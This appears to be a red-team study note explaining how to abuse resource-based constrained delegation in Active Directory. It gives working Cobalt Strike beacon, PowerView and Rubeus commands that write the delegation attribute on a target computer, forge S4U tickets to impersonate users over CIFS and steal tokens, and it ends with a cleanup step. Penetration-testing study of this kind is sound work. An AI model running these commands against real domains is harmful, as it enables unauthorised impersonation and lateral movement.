See also: rbcd.py

A service account configured with resource-based constrained delegation (RBCD) enables allowlisted accounts to obtain a TGS through delegation. Instead of granting multiple service accounts the permission to perform constrained delegation to one target service, it is also possible to configure the resource—the target service—to accept delegation requests from a list of allowed services. Essentially, we modify the destination DACL instead of the source.

RBCD can be easier to exploit than the other two delegation types, since it does not require the SeEnableDelegationPrivilege to enable.

Exploit

Attack Overview

  • Find/compromise an account with enough privileges to enable RBCD on target machine account. We want to compromise CIFS for lateral movement (PsExec).
  • Find/compromise another account that owns an SPN. Alternatively, create a dummy machine account for this attack. If machine account could not be created (e.g. quota = 0), another approach may work.
  • Incorporate the SPN-owning account SID into a security descriptor, which will be the content of msDS-AllowedToActOnBehalfOfOtherIdentity of the target machine account.
  • Perform S4U against CIFS.

First off, list principals with the rights to enable RBCD (remember to replace SID with actual domain SID):

beacon> powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
 
# Convert SID(s) in query result
beacon> powershell ConvertFrom-SID $sid

To exploit RBCD, we need an existing, compromised service that we can use to perform delegation. Find its service account SID. Alternatively, create a machine account as a domain user (all domain users have a quota for machine account creation).

Assuming we’ve already have a compromised service account and a privileged account to enable RBCD, we can then modify the RBCD attribute on the target machine/service account (replace bracketed parameters as appropriate):

beacon> powershell $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;[compromised-svc-acct-sid])"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "[machine-name-without-dollar]" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose

How does the SDDL/raw security descriptor thing work (especially the ACE strings and how they work with RBCD)?to-do

Use the compromised service account (whose SID we just enabled for RBCD) to perform S4U, which requires its TGT (can be obtained from Rubeus dump).

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:[target-machine-acct] /impersonateuser:[target-user] /msdsspn:cifs/[target-machine-fqdn] /ticket:[rbcd-tgt-base64] /nowrap
 
beacon> steal_token $pid

To clean-up:

beacon> powershell Get-DomainComputer -Identity [target-computer] | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity